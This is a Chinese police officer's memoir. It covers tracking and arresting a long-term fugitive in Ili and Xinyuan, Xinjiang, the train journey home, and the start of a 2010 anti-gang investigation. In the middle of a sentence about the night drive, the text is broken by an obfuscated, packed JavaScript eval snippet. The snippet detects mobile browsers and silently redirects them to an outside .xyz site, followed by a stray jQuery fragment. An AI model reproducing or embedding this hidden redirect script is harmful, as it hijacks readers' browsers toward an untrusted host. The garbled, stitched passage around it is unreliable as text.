根据前期工作，发现逃犯在逃期间，其老婆生了一个儿子，没有登记新的父亲，也就是说，两人还可能在一起生活。逃犯跟老婆的大女儿，正在上大学，但是奇怪的是，寒暑假期间，曾多次搭乘航班飞往新疆伊犁。我们在新疆的数据库里发现了，逃犯老婆的痕迹。现在要做的是，继续收集相关信息找出可能的落脚点。 在数据库内，经过查找，找到了逃犯老婆的手机号码，现在要做的是对手机号码开展工作。这是仅有的一点线索。在当地的数据库，能查的数据并不是很多。我们在杨哥的办公室里闲聊。昨天晚上一起吃饭喝酒的小煜出场，他是建设兵团公安系统的，他开着车过来找我们，要请运哥吃饭。小煜也是中国刑警学院毕业，是运哥的小师弟。在一个垦殖场公安局刑侦大队任中队长，听说运哥来，从上百公里外就赶过来，上午赶回去单位上个班露个脸，然后又赶过来，一定要我们请吃饭。说明两件事：第一，新疆太大了，到哪里都很远；第二新疆人民很热情多远都要赶过来，有朋自远方来，喝酒吃肉。 当天晚上，吃鸡汤锅，吃馕坑肉，美味佳肴，继续喝着伊犁特曲，不过几个人共喝一瓶，压力小了很多。但是当天晚上，喝到第二场，又喝醉了，被送回酒店。 第三天一早，小煜就到酒店了，接上我们去吃早餐，当地的烤包子。听说我们是来追捕逃犯，热情的要帮忙，带着我们却农六师公安局。农六师也在伊犁州。我这弄清楚新疆的管辖情况，警方有：驻地武警及武警机动部队；建设兵团公安系统；自治区公安系统；边防公安部队；铁路沿线还有铁路公安系统；边防与建设兵团、自治区公安的管辖是相互嵌套在一起的，伊宁市市区被一分为二，一部分是自治区的，一部分是兵团的，而兵团下属的单位，则是散布在各地，都是飞地，没有连成一片，每个地方都派有兵团所属团职（县级）单位驻守，这种相互交错的布局，很有意思。有些兵团驻地发展比较好，直接该名称县或者市，著名的石河子市就是典型代表，原属于某市某团，地名也这么叫第某某团，后来更名为石河子市，但是辖区还是属于兵团建制。而边防则沿着边境线驻守。 在农六师工作很久，当时农六师公安局人手特别紧张，整个网安支队剩三个人，有效警力一个人，是一个维族小伙，非常热情，工作非常多，忙得不可开交，经过几个小时工作，给我找到了一个嫌疑人老婆的位置信息，在伊犁自治州几百公里外的新源县城。 晚上，从另一个县来了几个公安刑侦口的兄弟，杨哥请吃饭，我们也参加，在酒店对面的火锅店，川味涮火锅。没想到从四川跑了几千公里来到新疆，新疆人民也热爱吃火锅，出门的时候，巧遇到哈萨克族的婚礼，在外面的广场上，很多哈萨克人穿着盛装，围在一起跳舞，虽然外面温度很低，但是丝毫没有影响他们的热情。 我和运哥直接穿过小广场，来到火锅店，装修的风格都是江南的风格，虽然是川味火锅，但是菜是当地菜，当地牛羊肉，味道鲜美，让我忍不住多吃，还是喝伊力特曲，新疆人民非常热爱这个酒。席间跟新疆的兄弟喝了不少，加了几个微信，醉醺醺的回到酒店。后来还闹一个笑话：回到晋江后，我问那天加的微信好友，哪里的，他说新疆伊犁，我说伊犁好地方，我去过，他说下次去联系他，他要请我喝酒。估计当天他也喝断片了。 第四天，天亮，我才出门跑步，连日的醉酒，让我完全不在状态，必须运动一下，不然身体真受不了。第四天，小煜又来了，这次他带我们去他所在的公安局看看，他们是农六师最边远的垦区公安局了，无限接近边境线，距离哈萨克斯坦仅三十公里。那边有个霍尔果斯口岸，边境贸易很繁华。不过属于边防辖区。这次他请我们的真正目的是去吃饭喝酒，出发前我并不知道。 我们先去了垦区公安局，然后去现场调取话单来分析。下班后，就直接去了吃饭的地方，在霍尔果斯口岸不远处，属于边防的辖区，走一段高速，到尽头后进入国道，刚刚进入边防的辖区，就是他们的检查站，所有来往车辆，每一辆都停下来检查，后备箱，所有的驾乘人员，所以检查站都是在排队。轮到我们的时候，执勤带队的中队长，一个中尉，跟小煜很熟，大家出示一下证件，检查速度就加快，我看到所以执勤人员都背着95突击步枪，还有多个弹夹，腰上挂着一只92，还有两个压满子弹的弹夹。这里的警戒程度可见一斑。据说新疆，只要有人的地方，就有检查站，甚至几公里一个。我们一路上就看到很多警务站，检查站。 当晚第一场酒喝的伊力特曲，玻璃瓶，吃的是当地的一个大锅菜，有点类似杀猪菜，不过比杀猪菜好吃，料多量足。我们七八个壮汉，还剩半锅没吃完。 接着我们被车拉到了一个镇仔上，在一家羊肉火锅店，吃第二顿，喝的夺命大乌苏，大瓶装，用的一次性杯子，像是奶茶杯，一瓶才倒两杯，每次喝酒都要喝一杯，结果妥妥的喝醉了，囧相拼出，零下十度左右，两个大汉，喝完啤酒尿多，就站在大马路中间撒尿。还好来往车辆少。我最后被抬到就近一家小酒店房间内，晚上去卫生间吐，实在动弹不得，就躺在地方睡了一个晚上，好在当地都是地暖，不然天寒地冻，我肯定报销了。 第五天起床后，吃过早餐，我们计划往回走，但是我觉得我的酒还没醒过来，昏昏欲睡。在一家半地下的面馆吃过一大碗拉面，一碗滚烫羊汤到胃里，这才回过神来。 按照昨天调取的信息情况看，逃犯跟逃犯老婆，应该是住在新源县，具体有没有住一起，还不清楚，还要等新的话单数据作为支撑，但是掌握的线索看，必须去一趟新源。新疆的全民防控，让我们很安心，不担心逃犯会跑，到了新疆，基本上他哪里都跑不了，除非洗白了身份。 吃完早餐，我们开着一辆老款桑塔纳1.8手动挡的警车，动身启程去几百公里外的新源县。 一路狂奔，刚开始还有一段高速公路可走，可以看看沿途的风光，连绵的大山，看上去植被很少，没有见到一棵树，山峰上是积雪，能看到涂红色的山脊，眼睛能看到的都是褐红色的，植物也一样没有半点绿色，偶见高大的杨树，也只剩下树枝。 在伊宁市停车吃饭，吃的手抓羊肉饭，非常好吃。店里做了一大锅，现成的，属于当地常见快餐类的。街上人不是很多，但是吃饭的人不少。吃完继续赶路。 出了伊宁市之后，就没有高速公路。一路沿着省道向新源方向。从地图上看，这条省道沿着伊犁河，一直向东走。路边树木很少，光秃秃的山梁，喝多干枯的草丛，不知道是什么植物，离河岸近的时候，可以看到很多柳树。 虽然路上人烟稀少，但是车上还有不少，总是能看到车子。路边的村落，几十公里就能看到一些，据小煜介绍，很多都是牧民，果然在山坡上可以看到羊群，羊儿在慢悠悠的吃草；现在条件好了，牧民经济收入很高，都有车辆，很多都是豪华越野车，所以路上看到的车很多。 有一段路，几十公里长，既没有村落，也没有看到房子，也没有看到来往的车，内心感觉很荒凉，小煜安慰我，这时北疆，人口还算多的，如果去北疆，人就很少了，上百公里看不到人都有可能。正说着，大约一两公里远的一处山坡上，看到几个非常大的红字：毛主席万岁。我的内心瞬间火热，这是很朴实的一句话，想不到在这里能看到，内心当时很暖。 不知道开了多久，我们的左侧是连绵的大山，右边是河谷地区。转过几个山口以后，在道路与河谷最近的位置，出现了一个路牌：服务区。一面迎风飘扬的五星红旗，立在一栋平方门口的小空地上，旁边是停车场，我们停下车，稍微休整。奥维地图显示，旁边就是伊犁河，从停车的位置看伊犁河，没有宽阔的河面，是一片类似湿地的平原，长满了各种植物，类似于溪水浸润，再过去，又是山。我才想这时伊犁河。其实我们处在伊犁河的中下游。 上车后，我们就继续出发，经过第一个检查站，是新源县的地界了，十来名全副武装的民警，对来往的每一台车例行检查，检查站旁边，像是一个村落，设施齐全，我看到有饭店的招牌。 继续向前几十公里，就到了新源县城，进县城前，还是检查站，我们是警车，出示证件后放行。新源县城，看上去规模也很大，面积看上去超过内地绝大部分的县。可能地盘大。当时说这里地很便宜，如果来开工厂，很多地都是白送。 我们到现场的时候，是北京时间下午5点，我们不知道当地什么时候下班，为了最后确认逃犯藏身位置，按照导航我们去了新源县的房管局，我们要最后核实确认逃犯老婆的住房登记有没有新的数据，不能出现差错，逃犯已经跑了十八年，能藏身这么久，清网行动都没有被抓，在新疆这么严格的管控制度下，还能藏身，要么就是很警觉，要么就是具有反侦察能力。当地人北京时间下午7点才下班，我们长舒一口气，由小煜和他的同事去查询记录，我和运哥则留在车上，等候消息。根据在房管局查询的记录，逃犯老婆名下确实有两套房子，一套平房，一套楼房。但是两个位置相差比较远，根据高德导航，两个房子相距将近五公里，新疆真的地广。我们在路上也能看到人车，没有想象中那么地广人稀，虽然是冬季，理论是，当地人没什么事，基本上都呆在室内，喝酒吹牛。我们碰撞对比了一下之前掌握的位置数据，经过测算，目前逃犯老婆在楼房那边，逃犯可能使用号码，有时在有时又不在，但是不在平方的位置，我们推断，他可能跟老婆在一起，也可能在旁边，属于狡兔三窟，但是不管怎么样，我们决定先去楼房那里看一下。导航到那栋楼的楼下，我们在旁边转了几圈，那栋楼十几层高，可能是周边最高的住宅楼，整个小区就两栋，为了不打草惊蛇，我们车放在外面，徒步行走，但是走来走去，也没有看到可能适合逃犯藏身的位置。我们进入逃犯老婆所在的住宅小区，小区不大，目测只有两栋楼，对象是住在右边那栋的一个单元的9楼，我和小煜坐电梯上楼查看，运哥和小煜同事想办法如何进房间。每层有四户，对象住在最右边那户，我和小煜从电梯间出来，蹑手蹑脚的走进楼道，来到对象门口，我们观察了一下，计划用暖气检修或者故意破坏电信信号，造成故障，然后检修的名义，进门。我和小煜在门口徘徊了很久，也没有能找到对应的线路和暖气开关，正当我们放弃，准备下楼时，门突然开了，一个穿着毛衣秋裤的男子，从房子里出来，看到我们，问了句你们找谁，一听就是重庆、四川一带口音，当时楼道很黑，无法看清对方的脸，但是凭着这句活，我迅速冲上去，堵在那名男子和门之间，同时控制住他的右手，扣住手腕，将他整个手臂别到他身后，用我的身体顶住他，然后拿出手铐铐在在他手腕上，上手铐那一刻，我控制他手腕的手，明显感觉到原本用力试图挣扎的手，突然力气松了下来，肌肉完全放松的状态。小煜打电话叫运哥上来，我们将逃犯直接推进屋内，小煜同事赶紧去开车过来，在房子客厅，逃犯老婆看到我们，马上就哭了出来，一直喊要怎么办，我们则向她出示证件，是哪个单位办理的案件，有事去哪里，然后交代她给逃犯拿上衣服。逃犯一直安慰他老婆，该来的总是要来了，等了十八年，终于等到了，将孩子照顾好，儿子上高中了，寄宿，一周回来一次。他说自己赚到了，逃了这么久，还生了一个儿子。 车到院子后，我们就下楼，将逃犯押上车后。离开小区。导航直接返回伊宁，在伊宁市区有个农六师的看守所，我们计划将人羁押在看守所。离开县城时，天已经擦黑，警灯闪烁，我们开启了夜奔模式。 我们三个人轮流开车，运哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861768|158734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没参与。因为没有路灯，晚上路上一片漆黑，而桑塔纳的大灯并不是很亮，好在路上车不多，没有见过行人。中途在休息区的那个位置，我们买了点零食充饥。路上我们跟逃犯聊家常，主要让他精神放松，配合工作，同时确认我们的研判过程是否正确。我就问逃犯，怎么会开门，他说暖气有些凉，他就开门看一下暖气开关，谁知道我们就在门口，心想，该来的总是会来的，只是儿子还小，放心不下。女儿已经大学快毕业，准备去找工作，没有什么好担心。他在新疆躲了很多年，案发后第二年，他就到新疆了，一直在建筑工地找活，新疆冬季长，一到冬天，工地就停了，没事他一般就在家里呆着，一般不出门。之前在新疆，捡到一张别人的身份证，一直用那种身份证，所以在新疆呆很多年。他向我们坦白，一直很后悔，同案犯是他老乡，当时不该跟老乡一起去，最开始是去偷东西，那里知道主人回来，同案犯就把人打了，还给绑起来，哪里知道同案犯这么狠，下手重，导致人死亡。不过同案犯在案发后就没有再联系过。 一路上车速较快，晚上十二点半左右，我们终于抵达看守所。事先就已经联系过看守所，虽然如此，我们达到的时候，看守所还是一片漆黑，晚上温度很低，我穿的衣服很少，一件长袖内衣，一件衬衫，一件很薄的羽绒服，下身穿一条厚一点的单裤，出发的时候，以为就是在成都，哪里知道跑到新疆来了，头几天都是太阳，天气不错，基本都是白天活动，而且在室内和车上都没啥，但是这次不一样，到了户外，又是晚上，我真扛不了多久，没几分钟我及感觉透心凉，不停的跺脚，好在没多久就再次进入室内，看守所大厅比户外稍微暖和一点。 办完羁押手续，回到市区，已经是凌晨2点了，我们找了一家饭店吃饭，这次还好没怎么喝酒，喝点啤酒。当地有个朋友，看到我朋友圈，知道我到伊犁，那天周末，就从几百公里外上班的地方回到了伊宁，特意找我喝酒，已经是凌晨2时许，他还赶过来，说新疆的晚上凌晨2点，才刚刚开始，太热情，大家坐下来喝了不少啤酒，然后约好第二天他要请客。 吃完饭，我再次呆着醉意回到酒店，进门时，外面已经飘起了雪花。 因为任务完成，这一夜睡得特别踏实。小雪花飘了一夜，拉开窗帘，窗外是一片白衣素裹。我们住的酒店楼层不高，就只有三层，我们住在二楼，外面的总建筑最高也就五层，放眼望去周边都没有很高的高楼。最高也就十来层。 酒店一楼吃了碗拉面。小煜跟同事有开着车来接我们，说是去放松一下。赛里木湖、果子沟、霍尔果斯口岸，来回里程也是几百公里了。在他们眼里，就好像是出门赶集一样，让我切实感觉到了新疆的博大。 车子先向西开了90公里，再折向北，沿着去乌鲁木齐的高速公路，开了几十公里后，车子开始进出入开始进入山谷，坐在车内，两边的只能看到山壁非常陡峭，可见有积雪覆盖的地方，山峰高耸入云，与伊犁河谷地区看到的不一样，路两边开始有了树木，半山腰上也是，并不是成片，而是几棵一起几棵一起的，基本上只看到松树。随着海拔的逐步升高，两边的积雪也越来越多，越来越厚。 车子一直在爬坡，十余公里后，一座雄伟的大桥横跨在我眼前，目测落差近两百米，这是著名的果子沟大桥，用雄伟来形容都是委屈了它，它让我领略到中国建筑工程师的能力。果子沟大桥被一群险峻的高山围在中间，如同一个秀美的小伙子被一群巨人包围，但是毫无畏惧，成为了焦点。这里地形复杂，桥的两边是两座难以逾越的高山，中间是深谷。 我们钻进隧道，在隧道中盘旋了几公里，终于开上上了大桥，短暂停留在桥头位置，下车欣赏壮观的风景。山谷风很大，厚厚的云朵将各个山峰包住，约隐约现。这里天气变幻无常，刚刚还是耀眼的太阳，我们才稍微停留片刻，漂亮的白色的云转眼变成了厚厚乌云压了过来，如果妖魔鬼怪，你还没有来得及反应，大雪花飘了下来，变得异常寒冷。我们非常佩服当年建设者的勇气和能力，中国的工程师有能力架起连接世界的桥。有了果子沟大桥，让天堑变成坦途，穿过周围难以逾越的大山，将它们留在身后，这条高速公里，打通了伊犁地区与外界的联系。 我们没有过多停留，车子继续向前行驶，驶过宏伟壮观的桥对岸依山而建的建筑群，这是用于公路养护维护人员的驻地。还停车休息的服务区。 再往前不到二十公里，就是赛里木湖了，是新疆海拔最高、面积最大、风光秀丽的高山湖泊，又是大西洋暖湿气流最后眷顾的地方，因此有“大西洋最后一滴眼泪”的说法。资料显示，赛里木湖古称“净海”，位于新疆博尔塔拉州博乐市境内北天山山脉中，紧邻伊犁自治州霍城县，湖面海拔2071米，东西长30公里，南北宽25公里，面积453平方公里，蓄水量达210亿立方米，湖水清澈透底，透明度达12米。 赛里木湖正好在去往乌鲁木齐的高速公里路旁边，到乌鲁木齐还有520公里，距伊犁州府伊宁市160公里，我们下高速后直接进入了景区。我们运气不错，湖水没有结冰，周围都是厚厚的积雪，在高山白雪的映衬下，碧蓝的湖水格外透亮，如果一块巨大的蓝宝石嵌入在白玉当中。而旁边山峰飘着云，犹如仙境。在湖里，有集群天鹅在愉快的玩耍，完全不顾严寒，当天的室外温度是零下15度。我的手机拿出来拍了两张照片就因为太冷自动断电关机了。 景区的管理人员已经用大铲车在厚厚的积雪铲出一条路来，我们下车徒步走进湖边，积雪厚度已经过腰，加上堆上的雪，已经接近一人高，湖水非常清澈，我伸手去触摸了一下湖水，没有想象中那么冰冷。因为穿衣太少，呆了不到半个小时，我全身发冷，只好躲进室内，由于冬季，景区的人并不多。用于接待游客的一栋木头房子的餐厅内，烧着一个炉子，我在炉边坐了很久，才缓过劲来。 他们则去玩了雪地摩托车、拉轮胎，看着都冷。在景区停留了不到两个小时，突然下起了冰雹，高原地区就是如此，天气多变。我们没敢多停留，一旦大雪我们可能就回不去了。于是开着车离开。沿着来时的公路我们一路开到一个霍城的镇子上，吃当地有名的马肉。连日的劳累奔波，加上在室外冷太久，我已经感觉喉咙发痛，这是扁桃体发炎的信号，我可能要感冒了。在美味面前，我是永远把持不住的，大口吃肉，再配上夺命大乌苏。 吃饱喝足后，我们出发前往霍尔果斯，那里边贸发达，我们计划去那看看，继续向西行驶一个多小时，我们经过两道检查站，我们抵达霍尔果斯市。 霍尔果斯市是伊犁州代管的县级市，位于伊犁河谷谷口，地处国道312线、陇海－兰新铁路的最西端，距乌鲁木齐670公里，距伊犁首府伊宁市90公里。2006年，中国和哈萨克斯坦共同设立中哈霍尔果斯国际边境合作中心，成为全球首个跨境自由贸易区，总面积5.28平方公里，其中中方区域3.43平方公里。这里主要是来自俄罗斯的货物比较多，由于贸易发达，霍尔果斯发展得非常好，城市漂亮整洁，设施齐全，道路宽敞。我们一路开到最西边，在霍尔果斯口岸旁边的综合批发市场停车。下车进去商场转了一下，里面都是来自前独联体国家和俄罗斯的商品，全市俄文，种类还很多，做工没那么精致，但是很有特色，皮毛制品，各种军转民制品，还有一些特色的小商品。没有什么值得购买，我们就是转了一圈，然后买了一些巧克力还有几件小纪念品。 在霍尔果斯口岸门口，拍了一张照片，就返回伊宁市。 在伊宁市，我的朋友拉哥还在等我吃晚饭，微信发来了餐厅位置，在伊宁市一家□□餐厅，到了以后喝上了特别好喝的奶茶，□□餐厅的规矩是不能喝酒，终于以为不用喝酒了，结果身为蒙古族的拉哥，却带了酒，吃完特色菜，因为第二天要返程，没敢多喝，三个人将一瓶酒喝完，还好大家都没有喝醉。这是我第一次没有喝醉。晚上打车回到酒店，整理行装，第二天开始返程。晚上，不知道是暖气太热的原因，我感觉很热。 第二天，小煜已经办好手续，在酒店等我们，一起去看守所接人。由于年底，老家不可能再派人搭乘飞机来接我们一起飞回去，只能我们两人押人通过路上交通回去。我们选择是搭乘火车。小煜将送我们到了伊宁站派出所杨哥那里，杨哥他事先已经帮我们买好了车票，由于没有直到回去的车，我们选择了第一站到西安，短暂停留后，再从西安转车到厦门。这是最佳方案，由于伊宁出发没有动车或者高铁，全程只有绿皮车，这样的转车安排，时间比较好把握，而且用时最短。全程接近5000公里，这是我人生中最长的一次乘坐火车的旅行体验。上午10时许，杨哥带着我们，先过安检，由于新疆的特殊的形势，所有进出站必须过安检，然后直接到了站台，将我们送上火车，我们挥手告别。在卧铺车厢安顿好后，我们开始了万里归程。 上车后我就感觉我喉咙特别疼，各种感冒症状袭来，不巧的时，来时搭乘飞机时，我将跟着我十年的保温杯遗落在飞机的行李舱内。车上没有被子可以喝热水，我只能硬扛着，祈求感冒不要加重。 一路上都是大雪纷飞，我上厕所时，看到列车内，车厢接头处和车门口都被冰雪覆盖住了，还不断有冰雪飘进来，如果你一直看窗外，可能会雪盲，外面基本上看不到什么人和建筑物，最多的是铁路护路的职工驻扎的地方。一路上很荒芜，天黑以后才到乌鲁木齐，乌鲁木齐车站是途径车站中最漂亮的，灯光也是最明亮的。火车在新疆境内走了一天一夜，第二天天亮的时候进入甘肃，积雪开始变少，嘉峪关开始就没有雪了，取而代之的没有任何绿色植物的戈壁滩，褐红色或者土黄色，还有略带沙黄色。一路上能看到很多建筑物，还有各个烟囱冒出的白烟。我以为只有新疆地大，结果火车在甘肃境内又行驶了一天一夜，这才进入陕西。 进入陕西后，天已经亮了，但是天空很灰暗，我以为要下雨，打开天气，才发现是雾霾天，到处弥漫着黑色的浓雾，到上午9时许，还是如此，丝毫没有减退的迹象。 老薛。陕西咸阳某县人，比我小三岁，身材微胖，圆脸大眼睛，皮肤黝黑，我见过他瘦的时候的照片，从部队出来，疏于锻炼，喝酒吃肉，身材就跟海绵吸水。他是原新疆武警某部特战队员，部队转业后进入中国刑警学院深造，资深情报研判能手，跟运哥比起来，就只能是追逃能手。与晋江刑警有不解之缘，与我们有多次合作，听闻运哥要从西安转车，车一到杨凌车站，老薛就上了火车，直接找到我们车厢。看到运哥很热情，一路还在拉家常。车到西安站，老薛已经联系好西安铁路公安局的同志。刑侦支队的小鲁开着一辆警车，已经在站台上等我们了。接上我们以后，车子使用站内通道出站，直接开到西安铁路公安处的院子内。我们将人临时羁押在办案区，因为没有民警看守，我们得自己在办案区看守，我们的火车还有九个小时发车，我的感冒已经很严重了，流鼻涕，全身无力。 老薛去专门打包了羊肉泡馍，买来感冒药给我。在办案区的候问室，我们聊了几个小时，一直聊到下午。那天刚好冬至，刑侦支队派了一名民警替我们看逃犯，好让我们去吃顿饭，我们就在旁边餐厅，点了份饺子。我买了一个保温杯。吃完晚饭，短暂的相聚结束了。 从西安出发，西安铁路局安排我们在加挂的卧铺车厢，车厢里除了几名列车员，就只剩下我们三个旅客。偶尔乘警还会过来聊两句。再经一天两夜的漫长火车旅程，出发后第五天，终于抵达厦门站。我的身体已经适应了车厢的摇晃，当我的脚再次踏上陆地，我的身体居然还不适应，我的大脑还停留在摇晃的状态。如同喝醉了一般。 23.第 23 章 黑恶势力危害严重、影响恶劣，广大群众反映强烈、深恶痛绝。以总书记为核心的党中央做出一项重大决策部署，2018年1月23日，中央政法委召开全国扫黑除恶专项斗争电视电话会议，全国扫黑除恶专项斗争开始，为期三年，到2020年年底结束。2019年年初，公安部发布2018。年扫黑除恶工作成果，截至2019年1月底，全国公安机关共打掉涉黑组织1292个、恶势力犯罪集团5593个，破获各类刑事案件79270起，缴获各种枪支851支，查封、扣押、冻结涉案资产621亿元，全国刑事案件同比下降7.7%，八类严重暴力案件同比下13.8%，人民群众安全感、满意度明显增强。 首先科普一下，什么是黑恶势力： 一、根据《中华人民共和国刑法》的有关规定和最高人民法院、最高人民检察院、公安部、司法部关于黑恶犯罪的相关司法解释，具有下列情形的组织，应当认定为“恶势力”： 经常纠集在一起，以暴力、威胁或者其他手段，在一定区域或者行业内多次实施违法犯罪活动，为非作恶，欺压百姓，扰乱经济、社会生活秩序，造成较为恶劣的社会影响，但尚未形成□□性质组织的违法犯罪组织。恶势力一般为三人以上，纠集者相对固定，违法犯罪活动主要为强迫交易、故意伤害、非法拘禁、敲诈勒索、故意毁坏财物、聚众斗殴、寻衅滋事等，同时还可能伴随实施开设赌场、组织□□、强迫□□、贩卖毒品、运输毒品、制造毒品、抢劫、抢夺、聚众扰乱社会秩序、聚众扰乱公共场所秩序、交通秩序以及聚众“□□”等。 二、根据《刑法》第二百九十四条规定：□□性质的组织应当同时具备以下特征： （一）形成较稳定的犯罪组织，人数较多，有明确的组织者、领导者，骨干成员基本固定； （二）有组织地通过违法犯罪活动或者其他手段获取经济利益，具有一定的经济实力，以支持该组织的活动； （三）以暴力、威胁或者其他手段，有组织地多次进行违法犯罪活动，为非作恶，欺压、残害群众； （四）通过实施违法犯罪活动，或者利用国家工作人员的包庇或者纵容，称霸一方，在一定区域或者行业内，形成非法控制或者重大影响，严重破坏经济、社会生活秩序。 其实，作为公安机关，从未放松过对黑恶势力的打击，这个工作任务一直由刑侦部门承担，我到刑侦工作不久，就参与打黑专案组的工作。不同一般的刑事案件，涉黑案件，隐蔽性高，涉及案件多，很多受害人敢怒不敢言，大部分的群众选择都是不报案，很多时候，取证困难，再加上一些干部群众对此认识不足，甚至经济利益形成“保护伞”，被打击处理前，都会活动很长一段时间，有的隐蔽，有的公开。而侦查此类案件，也耗时日久，需要长期经营，收集各方面证据，确认团伙人员身份，最后条件成熟再收网。 一、扫黑专案组 2010年年初，晋江刑侦打黑办摸排出一条涉黑团伙的犯罪线索，因该团伙主要活动地点在鞋都镇，鞋都中队派员参加打黑专案组，这次由于前期发现成员身份是江西人，为了方便工作，特意抽调我参加专案组。在2018年以前，我们打击此类犯罪都称打黑，2018年以后，党中央从新时期此类犯罪的特点出发，改名为“扫黑除恶”，“扫黑除恶”、“打黑除恶”一字之差，意味着在广度、深度、力度方面提出了更高的要求，彰显了党中央除恶务尽，坚决将黑恶势力的嚣张气焰打下去，切实保障人民安居乐业、社会安定有序、国家长治久安的坚定决心和信心。 晋江打黑专案组在我去之前就已经有很多年历史了，成员主要是以扫黑专业中队原队员为主，根据案件办理的需要，再从各单位抽调民警组成。我所在中队每年都抽调人员到打黑队工作，几乎是轮流去。这次是我，将手上的卷宗整理好，转交给医生继续办理，然后就动身出发到专案组向蔡大队长报告，蔡大队长任打黑专案组组长，我们背后都戏称他为黑老大，大当家的，还有具体业务的两个副组长，我们称为二当家的，三当家的。 “三当家的”是勇哥，陕西人，中国刑警学院毕业，毕业后一直在晋江刑侦工作，皮肤黝黑，热爱健身，身材高大，跟他一起出任务，非常有安全感，性格豪爽，西北人特有的热情，长期专业从事打黑工作，“三当家的”实际上是具体执行的，专案组大部分的工作都是由他牵头来完成的。 刚开始，我主要负责数据分析，每天都是配合515工作站对所有涉案人员的通讯数据进行分析，再结合其他组员摸排出来的数据进行碰撞，从中找出成员组织结构。当时安排我住在516宿舍，跟我同宿舍的是从边防大队抽调过来的民警志斌，每次碰头开会讨论案情的时候，我总是说515的工作情况，他一直认为我就在隔壁宿舍，但是谁也没有跟他说这事，直到若干年以后，他跑来问我。 经过一个月的数据分析，初步分析，这是以江西人董某华为首的，有明显□□组织特征的犯罪团伙，主要以开设赌场，垄断客运专线的方式牟利，为了保障所得利益，采取恐吓威胁、聚众斗殴、故意伤害、打砸物品等犯罪手段，涉及几十起暴力犯罪。 进一步调查查明，董某华，江西景德镇人，40岁，练过武术，据说非常能打，有多次故意伤害前科，董某华纠集徐某平、程某华等多名景德镇老乡，形成团伙，再发展下级马仔，逐步形成了几十人的团伙。为了树立威信，董某华亲自动手，打次打伤他人，出手教训不听话的手下。同时组织人手携带刀棍等器械聚众斗殴，抢夺底盘，开设赌场，树立江西地位。同时采取暴力手段强行垄断客运线路，所有从晋江发往景德镇的客车均要上交“人头税”，甚至在车站设置办公区，派马仔管理线路，所有旅客都要通过他们才能买票上车，因此从中获取暴利。为了教育不听话的大巴车司机，多次打砸大巴车，殴打司机。 经过两个月的前期侦查，我将所有人员信息全部整理收集，每个人的日常活动情况，落脚点，形成了照片墙。为了能够完成案件的侦办，按照以往的办案经验，能取到的证据已经做完了，现在必须将主要团伙成员抓获归案，其他的群众才会出面作证，因为□□的犯罪事实对群众产生极大的心理恐惧，大部分受害人或者知情人都非常惧怕被打击报复。 我还有一项极其重要的工作，就是寻找“保护伞”。涉黑犯罪团伙，在累计了一定经济基础后，为了逃避打击，会利用各种手段，积极拉拢警辅人员、甚至政府领导干部，为自己充当保护伞。一旦被拉下水，这些藏在我们内部的保护伞危害极大，犯罪嫌疑人得以逃脱各种打击，提前收到风声逃跑，还有的被抓获后会被取保候审，案件不了了之，甚至教如何反侦察并逃避打击的方法。 老薛，更正一下，就是帅薛，单身，长得很帅的一名西北汉子，性格直爽，性情中人。他曾参与过多次的打黑工作，就挖出过内部的保护伞，这些民警甚至直接参与犯罪，办理案件过程中，帅薛多次遭受生命威胁。案件没有办结之前，他随身携带武器，枪不离身。有一次半夜，睡梦中我突然接到他的电话，明显能感觉他喝多了，他在电话告诉我，有个打黑战线的兄弟，被人盯上，开车出门时被一辆大货车故意冲撞，差点没命。现实就是这么残酷。以至于帅薛失声痛哭，压力很大。 我刚刚从事这项工作，为了确保万无一失。此项工作我在秘密进行。为自己为了开展此项工作，我的所有工作内容几乎都保密，除了几个当家的。我以前的搭档，工作联系密切的同事，甚至连专案组的其他同志都不知道我具体在做什么，只知道我配合515在开展工作。 在工作中，我们获悉董某华与一个鞋都镇派出所的民警有密切联系，这个民警还透露信息给董某华，说最近鞋都派了一个江西籍的民警到市局开展工作，当我获悉这个情况后，惊出一身冷汗。鞋都镇派出所有内鬼。知道这个消息后，几个当家的都非常震惊。开始着手组织排查，最后经过分析，发现是一个鞋都所的辅警，资历比较老。两人有联系，董某话偶尔会向这个辅警打探内部信息，规避打击。掌握这个情况后，为了不打草惊蛇，我们决定对辅警进行秘密监控，严防他走漏信息，收网前他仍然正常工作，而且我们也不向鞋都所领导报告这件事情，计划收网后再处理；尽量给董某华团伙制造一个宽松的环境，让其暂时放松警惕。另一方面，我成了保护对象，尽量不回鞋都所，尽量不与外界联系，有人问就事先编好了一套说词，我在参与另外的案件侦查。 经过三个月的前期工作，一切准备就绪。 几个“当家”开会，收集各方面的信息，收网的时机已经成熟，经过向主要局领导汇报后，决定抽调更多的警力，组织抓捕和审讯工作。现在我们在等候收网的最佳时机。春运刚刚结束，董某华犯罪集团靠着垄断客运线路，获利颇丰，再加上开赌场放高利贷等收入，此时正是最得意的时候。 这天我收到消息，董某华组织全体成员在某酒店开会，聚餐。真是千载难逢的好机会，当天从各单位抽调人员共计上百名警力，秘密集结在市局待命。晚上19时许，分管刑侦的副局长和“大当家”的着急各小组带队领导的召开短会，布置任务。19时30分，准时出发，迅速将梅岭街道一酒店包围，将正在酒店开会的以董某华为首的等三十余名犯罪团伙嫌疑人一锅端了。晚上21时许，人员陆续被押回，带到各个审讯点，开始审讯工作。当晚，经身份审查核实，除几个核心成员外，大部分的嫌疑人均如实供述自己的犯罪经过，所有涉案嫌疑人第一份笔录做完，全部办理刑事拘留，送看守所羁押。 为了进一步固定证据，整个犯罪团伙的核心人员都已经落网，我们整理出三层机构，最底层的嫌疑人，大多数都已经交代了各自参与的案件；现在还剩几个核心人物2号徐某平3号程某华和1号大BOSS董某华没有如实交代，跟我们先前预计的差不多，这三个人多次被公安机关打击，属于老运动员了，07年的时候，我就参与处理过他们一起寻衅滋事案件，这些人经过长期积累了反审讯经验。不过意外的是，标记为团伙4号、5号的两名嫌疑人，在第一次审讯就如实交代自己犯罪事实。让我们省了很多事，也证实了我们最初的判断。 